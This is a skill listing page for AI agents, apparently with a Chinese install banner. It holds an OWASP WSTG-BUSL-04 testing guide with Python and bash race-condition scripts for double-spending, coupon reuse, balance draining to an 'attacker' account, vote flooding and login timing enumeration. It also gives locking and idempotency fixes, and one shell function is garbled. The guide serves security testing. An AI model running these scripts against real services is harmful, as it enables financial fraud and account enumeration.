用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-busl-04命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-busl-04 |
| description | Test for Process Timing |
| category | business-logic |
| owasp_id | WSTG-BUSL-04 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["business-logic","workflow","abuse","wstg","busl"] |
| tech_stack | [] |
| cwe_ids | ["CWE-840"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-BUSL-04
Test for Process Timing
Process timing testing examines whether an application's business logic can be exploited through timing attacks or race conditions. Attackers may exploit timing vulnerabilities to bypass security controls, perform double-spending attacks, or gain unauthorized access. This includes testing for race conditions in financial transactions, time-of-check to time-of-use (TOCTOU) vulnerabilities, and timing-based information leakage.
| Operation | Risk |
|---|---|
| Financial transfers | Double spending |
| Coupon/code redemption | Multiple use |
| Vote/rating systems | Vote manipulation |
| Inventory reservation | Overbooking |
| Account creation | Duplicate accounts |
# Operations susceptible to race conditions:
# - Balance checks before transfers
# - Stock checks before purchases
# - Coupon validation before application
# - Vote counting
# - Rate limiting checks
# Document the target endpoints
echo "Identified targets:
- POST /api/transfer
- POST /api/apply-coupon
- POST /api/vote
- POST /api/purchase"
TARGET=
TOKEN=
CONCURRENT=10
PAYLOAD=
() {
curl -s -X POST \
-H \
-H \
-d \
-w &
}
i $( 1 );
send_request
#!/usr/bin/env python3
import requests
import threading
import time
class DoubleSpendTester:
def __init__(self, url, token):
self.url = url
self.headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
self.results = []
def send_transfer(self, thread_id):
"""Send transfer request"""
try:
response = requests.post(
self.url,
headers=self.headers,
json={
"from": "account1",
"to": "account2",
"amount": 100 # Full balance
}
)
self.results.append({
"thread": thread_id,
"status": response.status_code,
"response": response.text
})
except Exception as e:
self.results.append({
"thread": thread_id,
"error": str(e)
})
def test_double_spend(self, num_threads=10):
"""Launch parallel transfer attempts"""
threads = []
# Create all threads
for i in range(num_threads):
t = threading.Thread(target=self.send_transfer, args=(i,))
threads.append(t)
# Start all threads as simultaneously as possible
for t in threads:
t.start()
# Wait for completion
for t in threads:
t.join()
# Analyze results
successful = [r for r in self.results if r.get("status") == 200]
print(f"Successful transfers: {len(successful)} out of {num_threads}")
if len(successful) > 1:
print("[VULNERABLE] Multiple transfers succeeded!")
print("Double-spending attack possible!")
return self.results
# Usage
tester = DoubleSpendTester(
"https://target.com/api/transfer",
"auth_token"
)
results = tester.test_double_spend(20)
#!/bin/bash
# Test single-use coupon race condition
COUPON_CODE="DISCOUNT50"
TARGET="https://target.com/api/apply-coupon"
TOKEN="your_token"
# Send 20 parallel requests
for i in {1..20}; do
curl -s -X POST "$TARGET" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"code\": \"$COUPON_CODE\"}" \
-o "response_$i.txt" &
done
wait
# Count successful applications
echo "Results:"
grep -l "success\|applied" response_*.txt | wc -l
echo "successful coupon applications"
# If more than 1, race condition exists
#!/usr/bin/env python3
import requests
import threading
import time
def toctou_test(base_url, token):
"""
Test Time-of-Check to Time-of-Use
Scenario: Check balance, then transfer
"""
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
def drain_account():
"""Try to transfer all funds"""
# This will be sent simultaneously
requests.post(
f"{base_url}/api/transfer",
headers=headers,
json={
"to": "attacker_account",
"amount": 1000 # Full balance
}
)
# Send many parallel requests
threads = []
for _ in range(50):
t = threading.Thread(target=drain_account)
threads.append(t)
# Start all at once
for t in threads:
t.start()
for t in threads:
t.join()
# Check final balance
balance_response = requests.get(
f"{base_url}/api/account/balance",
headers=headers
)
print(f"Final balance: {balance_response.json()}")
# If negative balance, TOCTOU vulnerability exists
toctou_test("https://target.com", "auth_token")
#!/bin/bash
# Measure response times to detect timing leaks
echo "Testing timing-based user enumeration..."
# Valid user
for i in {1..10}; do
time=$(curl -s -o /dev/null -w "%{time_total}" \
-X POST "https://target.com/login" \
-d "username=admin&password=wrongpassword")
echo "Valid user: $time"
done
echo ""
# Invalid user
for i in {1..10}; do
time=$(curl -s -o /dev/null -w "%{time_total}" \
-X POST "https://target.com/login" \
-d "username=nonexistent12345&password=wrongpassword")
echo "Invalid user: $time"
done
# Compare averages - significant difference indicates timing leak
#!/usr/bin/env python3
import requests
import threading
import asyncio
import aiohttp
async def vote_race_condition_test(url, token, item_id, num_votes=100):
"""Test if multiple votes can be cast simultaneously"""
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
async def cast_vote(session, vote_num):
try:
async with session.post(
url,
headers=headers,
json={"item_id": item_id, "vote": 1}
) as response:
return {
"vote": vote_num,
"status": response.status,
"text": await response.text()
}
except Exception as e:
return {"vote": vote_num, "error": str(e)}
async with aiohttp.ClientSession() as session:
tasks = [cast_vote(session, i) for i in range(num_votes)]
results = await asyncio.gather(*tasks)
successful = [r for r in results if r.get("status") == 200]
print(f"Successful votes: {len(successful)} / {num_votes}")
if len(successful) > 1:
print("[VULNERABLE] Multiple votes accepted!")
return results
# Run
asyncio.run(vote_race_condition_test(
"https://target.com/api/vote",
"auth_token",
"item_123"
))
| Tool | Description | Usage |
|---|---|---|
| Turbo Intruder | Burp extension | Race condition testing |
| Race The Web | CLI tool | race-the-web config.toml |
| asyncio/aiohttp | Python async | Parallel requests |
| Tool | Description |
|---|---|
| Burp Suite | Response time analysis |
| curl | -w "%{time_total}" |
| Custom scripts | Statistical analysis |
# Turbo Intruder script for race conditions
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
# Queue the same request multiple times
for i in range(30):
engine.queue(target.req, target.baseInput)
def handleResponse(req, interesting):
# Log all responses
table.add(req)
#!/bin/bash
# Using GNU parallel for race condition testing
# Create request script
cat > race_request.sh << 'EOF'
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"to":"attacker","amount":100}' \
-w "%{http_code}\n"
EOF
chmod +x race_request.sh
# Run 50 parallel instances
seq 50 | parallel -j50 ./race_request.sh
# Count successes
#!/usr/bin/env python3
import asyncio
import aiohttp
import statistics
import time
class RaceConditionTester:
def __init__(self, target_url, headers):
self.url = target_url
self.headers = headers
self.results = []
async def send_request(self, session, request_id, payload):
"""Send single request and record timing"""
start = time.time()
try:
async with session.post(
self.url,
headers=self.headers,
json=payload
) as response:
elapsed = time.time() - start
body = await response.text()
return {
"id": request_id,
"status": response.status,
"time": elapsed,
"success": response.status == 200,
"body": body[:200]
}
except Exception as e:
return {
"id": request_id,
"error": str(e),
"time": time.time() - start
}
async def test_race_condition(self, payload, num_requests=50):
"""Test for race condition with parallel requests"""
connector = aiohttp.TCPConnector(limit=0) # No connection limit
async with aiohttp.ClientSession(connector=connector) as session:
tasks = [
self.send_request(session, i, payload)
for i in range(num_requests)
]
self.results = await asyncio.gather(*tasks)
return self.analyze_results()
def analyze_results(self):
"""Analyze race condition results"""
successful = [r for r in self.results if r.get("success")]
failed = [r for r in self.results if not r.get("success") and "status" in r]
errors = [r for r in self.results if "error" in r]
times = [r["time"] for r in self.results if "time" in r]
analysis = {
"total_requests": len(self.results),
"successful": len(successful),
"failed": len(failed),
"errors": len(errors),
"avg_time": statistics.mean(times) if times else 0,
"time_stdev": statistics.stdev(times) if len(times) > 1 else 0,
"vulnerable": len(successful) > 1 # If multiple succeed, potential race
}
if analysis["vulnerable"]:
analysis["warning"] = "RACE CONDITION DETECTED!"
return analysis
# Usage
async def main():
tester = RaceConditionTester(
"https://target.com/api/transfer",
{
"Authorization": "Bearer token",
"Content-Type": "application/json"
}
)
result = await tester.test_race_condition(
{"to": "attacker", "amount": 100},
num_requests=50
)
print(result)
asyncio.run(main())
from sqlalchemy import select, update
from sqlalchemy.orm import Session
def secure_transfer(from_account, to_account, amount):
"""Transfer with row-level locking"""
with Session(engine) as session:
# Lock the source account row for update
source = session.execute(
select(Account)
.where(Account.id == from_account)
.with_for_update() # Row lock
).scalar_one()
# Check balance after acquiring lock
if source.balance < amount:
raise InsufficientFundsError()
# Perform transfer
source.balance -= amount
target = session.execute(
select(Account)
.where(Account.id == to_account)
.with_for_update()
).scalar_one()
target.balance += amount
session.commit()
from sqlalchemy import Column, Integer
from sqlalchemy.orm import validates
class Account(Base):
id = Column(Integer, primary_key=True)
balance = Column(Integer)
version = Column(Integer, default=0) # Optimistic lock
def transfer_optimistic(from_id, to_id, amount):
"""Transfer with optimistic locking"""
with Session(engine) as session:
source = session.query(Account).get(from_id)
original_version = source.version
if source.balance < amount:
raise InsufficientFundsError()
# Update with version check
result = session.execute(
update(Account)
.where(Account.id == from_id)
.where(Account.version == original_version)
.values(
balance=Account.balance - amount,
version=Account.version + 1
)
)
if result.rowcount == 0:
raise ConcurrentModificationError("Retry transaction")
# Update target
session.execute(
update(Account)
.where(Account.id == to_id)
.values(balance=Account.balance + amount)
)
session.commit()
import redis
redis_client = redis.Redis()
def atomic_coupon_redemption(user_id, coupon_code):
"""Atomically redeem single-use coupon"""
# Use Redis SETNX for atomic check-and-set
key = f"coupon:used:{coupon_code}"
# SETNX returns True only if key didn't exist
if redis_client.setnx(key, user_id):
# Successfully claimed - coupon is now used
redis_client.expire(key, 86400 * 30) # Expire in 30 days
# Apply discount
apply_discount(user_id, coupon_code)
return True
else:
# Coupon already used
return False
import redis
import uuid
redis_client = redis.Redis()
def process_payment_idempotent(idempotency_key, payment_data):
"""Process payment with idempotency protection"""
if not idempotency_key:
raise ValueError("Idempotency key required")
lock_key = f"payment:lock:{idempotency_key}"
result_key = f"payment:result:{idempotency_key}"
# Try to acquire lock
if not redis_client.setnx(lock_key, "1"):
# Request in progress or completed
cached_result = redis_client.get(result_key)
if cached_result:
return json.loads(cached_result)
else:
raise ConcurrentRequestError("Request in progress")
try:
# Set lock expiration
redis_client.expire(lock_key, 60)
# Process payment
result = process_payment(payment_data)
# Cache result
redis_client.setex(result_key, 86400, json.dumps(result))
return result
finally:
# Release lock
redis_client.delete(lock_key)
| Finding | CVSS | Severity |
|---|---|---|
| Double-spending in financial transactions | 9.8 | Critical |
| Race condition bypassing business limits | 8.8 | High |
| TOCTOU in authorization checks | 8.8 | High |
| Multiple coupon redemption | 6.5 | Medium |
| Vote manipulation | 5.3 | Medium |
| CWE ID | Title | Description |
|---|---|---|
| CWE-362 | Concurrent Execution Using Shared Resource | Race condition |
| CWE-367 | Time-of-check Time-of-use (TOCTOU) | TOCTOU vulnerability |
| CWE-208 | Observable Timing Discrepancy | Timing attacks |
[ ] Race condition targets identified
[ ] Parallel request testing performed
[ ] Double-spending attack tested
[ ] Coupon/code race condition tested
[ ] TOCTOU vulnerabilities tested
[ ] Vote/rating manipulation tested
[ ] Timing-based enumeration tested
[ ] Database locking reviewed
[ ] Idempotency implementation checked
[ ] Atomic operations verified
[ ] Findings documented
[ ] Remediation recommendations provided